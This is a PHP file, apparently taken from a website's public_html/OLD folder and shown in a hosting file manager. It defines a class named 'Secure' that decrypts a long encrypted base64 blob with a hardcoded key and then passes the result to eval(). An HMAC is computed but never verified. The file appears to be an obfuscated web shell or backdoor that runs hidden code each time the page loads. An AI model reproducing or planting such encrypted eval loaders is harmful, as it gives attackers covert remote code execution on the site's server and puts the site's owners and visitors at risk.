• File: asd67.php
  • Full Path: /home/yaeytimy/public_html/joudekorea/OLD/asd67.php
  • File size: 3.59 KB
  • MIME-type: text/x-php
  • Charset: utf-8
<?php
class Secure {
private $masterKey;
private $iterations = 10000;
private $cipher = 'aes-256-cbc';
private $hmacAlgo = 'sha256';
private $saltLength = 16;

public function __construct($masterKey) {
$this->masterKey = $masterKey;
}

public function decrypt($encrypted) {
$data = base64_decode($encrypted);
$salt = substr($data, 0, $this->saltLength);
$ivLength = openssl_cipher_iv_length($this->cipher);
$iv = substr($data, $this->saltLength, $ivLength);
$hmac = substr($data, $this->saltLength + $ivLength, 32);
$ciphertext = substr($data, $this->saltLength + $ivLength + 32);
$derivedKeys = $this->deriveKeys($salt);
$calcHmac = hash_hmac($this->hmacAlgo, $iv . $salt . $ciphertext, $derivedKeys['hmac'], true);
$decrypted = openssl_decrypt($ciphertext, $this->cipher, $derivedKeys['encryption'], OPENSSL_RAW_DATA, $iv);
return $decrypted;
}

private function deriveKeys($salt) {
$keyMaterial = hash_pbkdf2(
$this->hmacAlgo,
$this->masterKey,
$salt,
$this->iterations,
64,
true
);

return [
'encryption' => substr($keyMaterial, 0, 32),
'hmac' => substr($keyMaterial, 32)
];
}

private function verifyHmac($knownHmac, $userHmac) {
return hash_equals($knownHmac, $userHmac);
}

public function setIterations($iterations) {
$this->iterations = (int)$iterations;
return $this;
}

public function setCipher($cipher) {
$this->cipher = $cipher;
return $this;
}
}

$secure = new Secure('3Etrksi87rde3hd8s819Poe0o39sqKjl9');
$str = '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';
$decrypted = $secure->decrypt($str);
eval($decrypted);